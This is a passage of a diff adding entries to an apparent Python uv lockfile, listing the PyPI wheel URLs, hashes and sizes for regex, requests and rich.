+ { url = "https://files.pythonhosted.org/packages/5e/60/3ba57840bcc7e2367090360de0c15a5ba6ad22be89314251105f2e943f43/regex-2026.6.28-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90581684565a93f7258af1e5d3f41ef20d7d7c61f2a428183a342bcb65485e38", size = 801261, upload-time = "2026-06-28T19:54:16.432Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/27/af1eb74e9a78c782b3e450b611a595e44906da8a5107e1227f4a7fd0480b/regex-2026.6.28-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:28f9e6c28f9b90f6f784595a33240a57e181e61b6ee3dc259b25c61e356d1aa3", size = 777072, upload-time = "2026-06-28T19:54:18.128Z" },
+ { url = "https://files.pythonhosted.org/packages/20/18/fdd4c883a39e3ed00d669062af1135809bfd3281bf528150849fbd68825b/regex-2026.6.28-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:378a71d861fc7c8806b04ac5b133d53c0e774f92f5d9663a539872d3fa2b0417", size = 785119, upload-time = "2026-06-28T19:54:20.314Z" },
+ { url = "https://files.pythonhosted.org/packages/1c/79/0aabe34b8482dcadf64355f70f96e22eba5ec6c1efb33563f89654f4061c/regex-2026.6.28-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4cc199874ecd6267a49b111052250825bfe19b5101b23b2ba80f54efa3e0994e", size = 860118, upload-time = "2026-06-28T19:54:22.368Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/2c/c973323306a27c9db7d160e9584eb7e0ece2a96224ccb0d39060558b31f9/regex-2026.6.28-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:b916a10431494ef4b4d62c6c89cab6426af7873125b8cd6c15811bf5fc58eec8", size = 765786, upload-time = "2026-06-28T19:54:24.265Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/df/9ca3e378e352242a4cb45573a5e9162c3ee791507702a23966fa559e36b5/regex-2026.6.28-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:2e27727fba075f1e4409416d2f537d4c30fc11f012ea507f7bd74d3e19ecb57a", size = 852120, upload-time = "2026-06-28T19:54:25.972Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/3e/3e31e255c4971f53cbce6306b5e3c76cbd3735a54f419bb3b2f194e9f68c/regex-2026.6.28-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:700fc6a7844bb2c4149292ac79d1df8841a00acd4d45cd32c1ebc7bcc1fd0da8", size = 789503, upload-time = "2026-06-28T19:54:27.678Z" },
+ { url = "https://files.pythonhosted.org/packages/72/01/d36561c21c3033d7eeb31d51b491916817de7861acefccc5fc9db8a5037c/regex-2026.6.28-cp312-cp312-win32.whl", hash = "sha256:03376d60b6a11aecb88a79fa2be06b40faa01c6693bc31ef69435cd4818b9463", size = 267109, upload-time = "2026-06-28T19:54:29.316Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/59/bbbb0591f38b18c65977cd65ce64749eba1c1996c99ac04e900fc30c0dcb/regex-2026.6.28-cp312-cp312-win_amd64.whl", hash = "sha256:fbd2ded482bf99e6651992bbfcde460272724d4bbc49ef3d6b46d9312867ec84", size = 277711, upload-time = "2026-06-28T19:54:31.143Z" },
+ { url = "https://files.pythonhosted.org/packages/86/06/be4f6b337d773ae5739a1bc238f97c16926e72017243735853c030f4c628/regex-2026.6.28-cp312-cp312-win_arm64.whl", hash = "sha256:37294d3d7ddb64c7e89184b2894e0f8f0a19c514bc59513d71fe692c3a8d5fc6", size = 277022, upload-time = "2026-06-28T19:54:32.97Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/53/d5c1b3cc0b5a0c985563ad6fac93d73ff2b300cb84342d89f044625d6bc7/regex-2026.6.28-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:b295a83426e0e44e9e60fde99789e181bd26788a1890ae7fe2a24c69bb6246ca", size = 490329, upload-time = "2026-06-28T19:54:35.775Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/9f/0c3503e819e91ca0e7a901a8e989ebf840ac7c7aea20b1fc7f31b6759f77/regex-2026.6.28-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0c31665c0deb5c111557a1cac8c27bd5629e2f9e7fd5058900a03576c33b601c", size = 292039, upload-time = "2026-06-28T19:54:37.977Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/7f/cd004e13fcad23b3794a82307dfd222e6365eb7f598bd3caab148a830bff/regex-2026.6.28-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:6bf295f2c59de77d1ea7de053607ae4dc9ceb3d57bbb6c7ec51ef4acc4ccff94", size = 289488, upload-time = "2026-06-28T19:54:39.545Z" },
+ { url = "https://files.pythonhosted.org/packages/73/4c/293fb34586fbcdc47eac436069e9c11f71fae5dadfd4889b475d7d2e5f7a/regex-2026.6.28-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:17c077586770f67e05bbffeba07fbee6b2b22244f4d4caf8d94e59d574befe04", size = 796772, upload-time = "2026-06-28T19:54:41.347Z" },
+ { url = "https://files.pythonhosted.org/packages/92/fa/c0cd1a90b7d12d9dc155cfc8bdea8df9720988ea5b07e8fa1eccbd0ab2dd/regex-2026.6.28-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0e6cb5a61486f9062397d2e189573b39d38ecfaed698fd9fb6e2756a8ebb8762", size = 865467, upload-time = "2026-06-28T19:54:43.485Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/db/0b479973046d005a1eaea299d5d536aeecb9488a16d9cbb8286338102e2d/regex-2026.6.28-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e86e91a2664f44c3a4e363a7d78fb17c27d5046882e30ea5a877f5e89b28d2ba", size = 912345, upload-time = "2026-06-28T19:54:46.091Z" },
+ { url = "https://files.pythonhosted.org/packages/5b/5b/d65adfbd02f32212431bca1f06d1e2eb763a20b12978b454bafaf23dacb7/regex-2026.6.28-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:4dfd1331c49233998d84fc5f1f4436cf7a435a7655f6cf0f490229bb5c7254e5", size = 801291, upload-time = "2026-06-28T19:54:48.3Z" },
+ { url = "https://files.pythonhosted.org/packages/fc/09/2103686defaf9a0a31c1663782359d5b45f42524c64cca681f5481e44a5e/regex-2026.6.28-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cadea12805a1bce0b091c302b814207be26fb60a9c0e7f9ad2f9e21790a429fe", size = 777106, upload-time = "2026-06-28T19:54:50.326Z" },
+ { url = "https://files.pythonhosted.org/packages/85/5a/b57593c0aa23ed269ec332fbcf07852abcb6b746e811d9464e0d09b4e25f/regex-2026.6.28-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:5f2c1682b67ad5d2376498f2a5a2a8f782fa2e4a06d0465b5e357799806e8a20", size = 785175, upload-time = "2026-06-28T19:54:52.172Z" },
+ { url = "https://files.pythonhosted.org/packages/79/59/c36e756ad29bf14d7b6c6d7138952476b21f6160286cedb98ac13481c993/regex-2026.6.28-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:64e142eb55e84868087da1375d7c36ff97d55010951849f515322a91d5fef1b4", size = 860186, upload-time = "2026-06-28T19:54:54.11Z" },
+ { url = "https://files.pythonhosted.org/packages/61/66/49808aea0da9649c300139360708fb91b7144be1f962fcebf96755fde948/regex-2026.6.28-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:abb4daabe7be63273787a62dfd6164dadf8f7a63fbec3d2730e5e5e7126d858c", size = 765754, upload-time = "2026-06-28T19:54:56.04Z" },
+ { url = "https://files.pythonhosted.org/packages/be/c5/52bbd436cf2200decdf48825fa38363eaaeebb77011ea9928a1ef9e0b9f2/regex-2026.6.28-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:ec2b2ad00ab8c16a2798cc8db80c53c4d5b8b3a2441f6cbaef06625f5ca25854", size = 852085, upload-time = "2026-06-28T19:54:57.988Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/c3/0390b66e3019497143fe768b3ba567b64d8b24f3812d09506deb86f4a0f0/regex-2026.6.28-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:bfc9677982c914d9085b8e1c3b3ae6e88f139fb56531c2416d6c8f338093c22b", size = 789600, upload-time = "2026-06-28T19:54:59.977Z" },
+ { url = "https://files.pythonhosted.org/packages/88/fd/ab5b03653a244975069fed93d73f4f5f7484c03a84cedb238292510d7182/regex-2026.6.28-cp313-cp313-win32.whl", hash = "sha256:bf54bc693fc4e0530e666ba5ec4bcba14dbe8f66b7cfc15c27317d1a6e40b9a5", size = 267088, upload-time = "2026-06-28T19:55:02.159Z" },
+ { url = "https://files.pythonhosted.org/packages/68/55/21022f7d3143210ae8d4ff905c45306237b657375cc0b97883f49db3d423/regex-2026.6.28-cp313-cp313-win_amd64.whl", hash = "sha256:e128feaf65bf3d9eb91bec92322a8f7e4835e9c798f3e9ea4b69f4def85620e3", size = 277680, upload-time = "2026-06-28T19:55:04.185Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/99/7f664804f1aef924542b0b233996b78b3e4d0a52d9951358aac99f129f51/regex-2026.6.28-cp313-cp313-win_arm64.whl", hash = "sha256:695873e0ea8d3815ea9e92e2c68faf039cc450e2c0a62a31afe2049eb11be767", size = 277017, upload-time = "2026-06-28T19:55:06.29Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/e1/9eb83518e159d719fd681c4932dc2aaff855ce72451e1d05d69466f25a96/regex-2026.6.28-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:189dbf9fc4252d9f1352bf4bd1bef885edb6cc4b7341df202a65f821aaa3891c", size = 494195, upload-time = "2026-06-28T19:55:08.292Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/e2/e259c5f2f7be269d0e2fb54275c1fa6a13fb47019f389c3f3ae457447825/regex-2026.6.28-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:9277a4c6503390aa39cb4483b87ec0384faee0850a23b5cea33d008b5d8d83f1", size = 293976, upload-time = "2026-06-28T19:55:10.014Z" },
+ { url = "https://files.pythonhosted.org/packages/8d/4e/9bdf444014d22b045d0c82ca114fac7e07a597b5b5331b7c4ce6328426e2/regex-2026.6.28-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:17eddca4e8ea9af0b5739314776cdf0172a49731ab61f2e1ea66e066ddd46c97", size = 292340, upload-time = "2026-06-28T19:55:11.88Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/3a/f49b11e59cbfe187ace0053a460bd72a0169b8cd52e7db9421a074ce7a43/regex-2026.6.28-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e4466b8641e00c697aab5a73150150d2b2ea96b131c595691f42031abafd9f4d", size = 811704, upload-time = "2026-06-28T19:55:13.612Z" },
+ { url = "https://files.pythonhosted.org/packages/2f/fb/ad04c39e149bf8b6cf357df5fff78341733ec366780a00c803a36735818c/regex-2026.6.28-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:9cfcd4b0bdcf768c498415c170d1ed2a25a99bf0b65fa253bbd02f68ceba6475", size = 871157, upload-time = "2026-06-28T19:55:15.797Z" },
+ { url = "https://files.pythonhosted.org/packages/7f/64/0e5ba31c11eb8ef7aac19a690c1211fc9aa9990caf09565785ebb0081b9a/regex-2026.6.28-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:80c7adf1ef647f6b1e8aa2ca280e517174cd08bdf7a2e412cdfb68bd6a0917cb", size = 917287, upload-time = "2026-06-28T19:55:18.692Z" },
+ { url = "https://files.pythonhosted.org/packages/11/75/6b78df2b858c2fcbbc4858fdc3f2975cf2703be374b2842db7d2c32591a7/regex-2026.6.28-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a043f5770e82283a22aed4cefef1a4e0f9dd8fd7184cb6ce0ad2e579e2134a9e", size = 816333, upload-time = "2026-06-28T19:55:20.973Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/01/ecfe665a3694d5eda9f3ec686c856438ada0943947b6005e90556a1e2cdf/regex-2026.6.28-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3bd630a8dba06b55254ea5ee862194edab52ec783100d2ef1cd15a9c512fee27", size = 785518, upload-time = "2026-06-28T19:55:23.003Z" },
+ { url = "https://files.pythonhosted.org/packages/b4/0a/88f9cd88ff1e82881605c4ffd62d77ee67d051232cfe6f8e9a64b86cf0e8/regex-2026.6.28-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:b77207e3cee13086f1906a6a2a12b41244c577e8ad9370d4b35ae1d548d354f3", size = 801371, upload-time = "2026-06-28T19:55:24.888Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/97/601483732f93275482ceb9fed57813dfed7c47d3a019db6ec4a3bb6e23e0/regex-2026.6.28-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:6de82c268e5d101ee9e3ffd869924aa9a371e3a21e752cf4fa17b6ce50d219f7", size = 866517, upload-time = "2026-06-28T19:55:27.232Z" },
+ { url = "https://files.pythonhosted.org/packages/81/ed/385c2a0351b994a693453c1d1a6e9af9eb35db3c9460d76b5078acd70c62/regex-2026.6.28-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b15859e3908544fb99cf47341dcf0bfd089147d258c4c4d8a29e5b087f8085cb", size = 772834, upload-time = "2026-06-28T19:55:29.154Z" },
+ { url = "https://files.pythonhosted.org/packages/06/bc/bbf4a5b3b29770d7f307d3c28b5b1bca0105b0cb424be0a4eb1339bc92cf/regex-2026.6.28-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:c91487a917edd48a1ea646fdf60d7936d304f0e686fa7ea8326e47efca51d816", size = 856606, upload-time = "2026-06-28T19:55:32.186Z" },
+ { url = "https://files.pythonhosted.org/packages/28/26/51d74fff82f682819979249f8d700267108ba5dc4eb284b0e11b9c85e4b3/regex-2026.6.28-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c4ac65f3e3a99fd8f3a4a74e7a6610acd1ce9dfe9b8a03d346a4922380d68aeb", size = 803475, upload-time = "2026-06-28T19:55:34.328Z" },
+ { url = "https://files.pythonhosted.org/packages/7c/3e/6be10cefdc813533fe604dbf5d3c77d2638e7ee658b2749ebadc113b6b2e/regex-2026.6.28-cp313-cp313t-win32.whl", hash = "sha256:3f6316f258bc7e6c9c2acbe9954947bbd397a81be3742a637a555f1855d6618d", size = 269126, upload-time = "2026-06-28T19:55:36.565Z" },
+ { url = "https://files.pythonhosted.org/packages/3c/3c/32cda905ea1a6eeeb798291c294d8ec66ee0efe0cdba28b061e248b1d396/regex-2026.6.28-cp313-cp313t-win_amd64.whl", hash = "sha256:1484bdd6fba28422df9b5ebb04055b2e1b680e8e4f08490bb21ff0f3cc50d0ab", size = 279961, upload-time = "2026-06-28T19:55:38.456Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/b9/69f4e5cd6fbe0bb420cb2dbae441ca118f2495bdda522a74da75aa9829e7/regex-2026.6.28-cp313-cp313t-win_arm64.whl", hash = "sha256:3f15020f0b69cafe57baa067ff65b29acef68ff6b1670a53bef1ca11d708e02d", size = 279266, upload-time = "2026-06-28T19:55:40.62Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/fb/fad3b810a5bb1e09b9e5d6913fc6ba88cab738fdf283196827a3c59a4c10/regex-2026.6.28-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:f7c032b0c8a73739ff8ff1aaf30c281fa19c17bf7f1543256c8507390db7807c", size = 490407, upload-time = "2026-06-28T19:55:42.724Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/52/b8c79d12276d93e90e707e939b396034c04980caf1235312ef790f8e11fc/regex-2026.6.28-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:f6710f512c57b84f127a23d0f59560a03b64136eff419ae1be5ab557577fe5e3", size = 291988, upload-time = "2026-06-28T19:55:44.549Z" },
+ { url = "https://files.pythonhosted.org/packages/23/d2/6a911f18279daa8d7bb8b20d771ddb6ef31fabd35f5921f9d3ba21640e80/regex-2026.6.28-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c0013958f427bd82509a186b9ff206d66cb8d60a81fc797a4c717afd18c5b0ba", size = 289704, upload-time = "2026-06-28T19:55:46.365Z" },
+ { url = "https://files.pythonhosted.org/packages/fd/22/ad1955c47c669291a05804d53d7071cc0732dfdf166857be38003cedc2d1/regex-2026.6.28-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:94f06cdcd6421f8e194ad312ea608020381250df9b8a57661c1b57e9e5273878", size = 797017, upload-time = "2026-06-28T19:55:48.166Z" },
+ { url = "https://files.pythonhosted.org/packages/e5/67/a83159ff8703ab4d0c2cf99e76ebf289b7b4a501623241d09f88f3614f80/regex-2026.6.28-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ec9689392f7494ff4e3f8e7e8522f9158f11023f337eaaf04a64542fc45bbf26", size = 866112, upload-time = "2026-06-28T19:55:51.047Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/09/7bff2d6dbbd77421b3274aa51db1c887381cbc5b6eda93598c3e882ea345/regex-2026.6.28-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:aa084684e6d2078bf6139e374d1fc2af5ddc1ac7122759a2db716d68169f6fd0", size = 911554, upload-time = "2026-06-28T19:55:53.707Z" },
+ { url = "https://files.pythonhosted.org/packages/29/44/ae59c3826e7ba492e56795cdf74ea2a7b5b7c5ea116afb79ee4956a5dff1/regex-2026.6.28-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:40455e6840dc4e96a6fe50f4cedc957de2752c954d91e789812be55d49be199a", size = 800665, upload-time = "2026-06-28T19:55:55.875Z" },
+ { url = "https://files.pythonhosted.org/packages/d6/19/6fd033d2ab00f35d445aaeaf3307c1e721424dcbfd48f6f65c857cb939cf/regex-2026.6.28-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:530b5c223b9ca5dd8370ac502e080aee0e4ded32be987c6564b425fb5523d581", size = 777243, upload-time = "2026-06-28T19:55:57.909Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/9d/99730f26df4938049ab1e652ca75e967b4c6739444e18d9707bfdb8af20c/regex-2026.6.28-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:8e0ed273ecd1a89be84466c1749bfe58609cc2a32b5d5e05006c4625ba96411b", size = 785784, upload-time = "2026-06-28T19:56:00.072Z" },
+ { url = "https://files.pythonhosted.org/packages/48/49/105cd57162f5fc5c04cc917a1388a060cf8427e5c14353cd9044660fbf4d/regex-2026.6.28-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:0ab0d5344311fc8e8667078942056c3b9c9b4a4b1cc99f2eb8a5af54554f4acc", size = 860914, upload-time = "2026-06-28T19:56:02.017Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/a5/788245a95b69018f58bff2f4fd27d007cacaea088cdb390979743f1b2571/regex-2026.6.28-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:eacb79625323d9f7e7925366b917f492b8356fad58f5dc4fa12ff8c21d8f4ca9", size = 765915, upload-time = "2026-06-28T19:56:05.021Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/01/292065a39a004b05e67a337b18213670a7cb919d6856ac2d7df7f1a10dbb/regex-2026.6.28-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:20f4d87702702aa1d572721e146f301660c50eef6fd6cb596e48a22b0ace17db", size = 851404, upload-time = "2026-06-28T19:56:07.251Z" },
+ { url = "https://files.pythonhosted.org/packages/98/9e/a93d865db0e13483ae1a01d81e2ce16d4a7fe2f9b9fe4aac4cc08590b136/regex-2026.6.28-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:1e693940a3b9e6d6e4dc2a54ecaa74b74934f77af1ef95f518a74261ef7cc1bc", size = 789373, upload-time = "2026-06-28T19:56:09.894Z" },
+ { url = "https://files.pythonhosted.org/packages/82/0c/38b1685ad4017d78efbc8fa7dbbf96d8113b53750c8aa2d3609defd46605/regex-2026.6.28-cp314-cp314-win32.whl", hash = "sha256:234a51e20ebc18ab83b2c0600cf28f2e884560a0e00f743878f0b7d8e7c4cf03", size = 272496, upload-time = "2026-06-28T19:56:11.83Z" },
+ { url = "https://files.pythonhosted.org/packages/55/50/e19f261ff9ba9b50722a529e09b1743ecf65eb348be99d0fd2cd7fcede1c/regex-2026.6.28-cp314-cp314-win_amd64.whl", hash = "sha256:7b15c437bc4604f03ceb3f8d37eae2f8930e320e1bc556b259848c639d9eec1a", size = 280754, upload-time = "2026-06-28T19:56:13.758Z" },
+ { url = "https://files.pythonhosted.org/packages/36/b8/c9e68f3a9e33be73f20990b2c065b144ff2d0aa242608a950d8c4f3b56e8/regex-2026.6.28-cp314-cp314-win_arm64.whl", hash = "sha256:c6e6f790d01380a74ad564f216c533b86504afb61bf66f2b2e11e7f1a3e287a7", size = 280979, upload-time = "2026-06-28T19:56:15.928Z" },
+ { url = "https://files.pythonhosted.org/packages/03/e6/21c425a37880c650d007c4171c6a80325446d830d85f5fbf335e7205b1e7/regex-2026.6.28-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:3527a72adcbe9e3600f1553b497d397c1a371d227580d41d96c3c5964109b65c", size = 494282, upload-time = "2026-06-28T19:56:18.049Z" },
+ { url = "https://files.pythonhosted.org/packages/07/50/6647a7ccf5ffff995ba955a0b7d766440f4e58ce1666549c8ee998f2b972/regex-2026.6.28-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:a644f6408692812f5ead82519eed680e08d5d546fddbd9f7d9514e3c73899aa5", size = 293977, upload-time = "2026-06-28T19:56:20.145Z" },
+ { url = "https://files.pythonhosted.org/packages/8c/dc/a3e141a4eaf125e50f63105570c01fa477c06ac5259dcfa95e9b90760e84/regex-2026.6.28-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:8e2fae6bb883648346f84db270dc9aafc29d8e895f62b88a75ccc83b09519820", size = 292432, upload-time = "2026-06-28T19:56:22.345Z" },
+ { url = "https://files.pythonhosted.org/packages/35/ee/2ac1a6b9f167f8ff69f5a789938cc103b60cff41b24a6990daced8b88e34/regex-2026.6.28-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:debe623e09cee97ef9404575e936c610aac9bb08358c5099aaef14644a6871f2", size = 811877, upload-time = "2026-06-28T19:56:25.056Z" },
+ { url = "https://files.pythonhosted.org/packages/df/7b/9a5505ee92180bcae300b1018b9ff3d3c19962436e66f2505f255e9fde35/regex-2026.6.28-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:cc579c91fb4605773483a8d940b136bcc5b854fff44fa14a1572a038f46563f1", size = 871212, upload-time = "2026-06-28T19:56:27.352Z" },
+ { url = "https://files.pythonhosted.org/packages/24/4d/d61a702a9f9d1bd29b22cbef1aed6d477baa961232a7eb4d91b7775b0b3e/regex-2026.6.28-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:e7c42be203d84ecf7d487ff23f8a61ef0eb0534fa0fc317a2fce8c065d20618f", size = 917507, upload-time = "2026-06-28T19:56:29.762Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/60/1308066f5966b65fbb6905b99ba37e9f1cd753dd0ac08485f8257334ee92/regex-2026.6.28-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e8184b4e2fdaf9cdfe77e38f15a4d9dc149168c9c29eb0ea17c5481d3bb80546", size = 816389, upload-time = "2026-06-28T19:56:32.043Z" },
+ { url = "https://files.pythonhosted.org/packages/bd/5c/57ce2cb8d714ee0b7f11c7ee4cfe2af66df2b90f147feadcb538609a3a02/regex-2026.6.28-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:697f103104f5872d64078d8eeac59979960be8ee76115a2d3f31096312e2a400", size = 785890, upload-time = "2026-06-28T19:56:34.492Z" },
+ { url = "https://files.pythonhosted.org/packages/ff/fd/1d5350d3a8a327bff0fccacb911732baf7b5b6f5529c0e3fa602a23e7dad/regex-2026.6.28-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:714d2b1aa29beef0ddfcdc72ad0771c05326551a8bb0680b0ddf74bfaad87387", size = 801451, upload-time = "2026-06-28T19:56:36.749Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/79/3c9e4f8a0306e030ad5a43bbbc01625fb28d58a813bc52d42fd1cc63fb2e/regex-2026.6.28-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0f09f62e450cc2f113018cc8412aeea3a120a04e1ca7e801a0d441583f9a3b06", size = 866504, upload-time = "2026-06-28T19:56:38.994Z" },
+ { url = "https://files.pythonhosted.org/packages/65/12/f747de475b54f4709efb24dd0fbc8467c64cec91f5db0d047b079646ee78/regex-2026.6.28-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:731ea12d5aeb2577eaef2393d6428b995f76eb35f68a89e03e15a97719d1de19", size = 773047, upload-time = "2026-06-28T19:56:41.061Z" },
+ { url = "https://files.pythonhosted.org/packages/58/3c/f02f860e0500c1b2d61a79dec7e214b37fb9656281dcddc92397edf96678/regex-2026.6.28-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:51e952c8783eabd4706d0f63922f219bcfc1bef9b8cb35941c0d1a0396578858", size = 856665, upload-time = "2026-06-28T19:56:43.466Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/6c/28b3fa222513484be9dee26b7222bda109056c43ea28aa2314262ca48816/regex-2026.6.28-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:43248fe4c0ab8fbb223588a0795b11268940072c97bba30ea8f9b49d8cdfde34", size = 803573, upload-time = "2026-06-28T19:56:45.791Z" },
+ { url = "https://files.pythonhosted.org/packages/fa/f0/8f86cf1a1fd85c5ab0c503c9fe4607ad4ad48978b2d8b435d94465e134c7/regex-2026.6.28-cp314-cp314t-win32.whl", hash = "sha256:fc1eddc25ad23c0f1344ab280d961ac595ead48292d7c779497975942373f493", size = 274515, upload-time = "2026-06-28T19:56:47.948Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/de/f8613c03b36786ddef2c930d28f9bcae861fcd541cc9203a870956cf1e83/regex-2026.6.28-cp314-cp314t-win_amd64.whl", hash = "sha256:ede8d8e53b6dde0a50f7eca902f0af76d87ab02a55aba7542da68ae3e5dfe83d", size = 283650, upload-time = "2026-06-28T19:56:50.614Z" },
+ { url = "https://files.pythonhosted.org/packages/4d/f3/f5ec86839bbabe33b6dee649b62ff9a445d43de6b0ad780cf6b83c56f61e/regex-2026.6.28-cp314-cp314t-win_arm64.whl", hash = "sha256:4da6f6a72f8700b97a1a765e837fb7d5750bfd9f13acea7bae498f573e3a70a8", size = 283338, upload-time = "2026-06-28T19:56:52.879Z" },
+]
+
+[[package]]
+name = "requests"
+version = "2.34.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "certifi" },
+ { name = "charset-normalizer" },
+ { name = "idna" },
+ { name = "urllib3" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/ac/c3/e2a2b89f2d3e2179abd6d00ebd70bff6273f37fb3e0cc209f48b39d00cbf/requests-2.34.2.tar.gz", hash = "sha256:f288924cae4e29463698d6d60bc6a4da69c89185ad1e0bcc4104f584e960b9ed", size = 142856, upload-time = "2026-05-14T19:25:27.735Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/a0/f4/c67b0b3f1b9245e8d266f0f112c500d50e5b4e83cb6f3b71b6528104182a/requests-2.34.2-py3-none-any.whl", hash = "sha256:2a0d60c172f83ac6ab31e4554906c0f3b3588d37b5cb939b1c061f4907e278e0", size = 73075, upload-time = "2026-05-14T19:25:26.443Z" },
+]
+
+[[package]]
+name = "rich"
+version = "15.0.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "markdown-it-py" },
+ { name = "pygments" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" }
+wheels = [
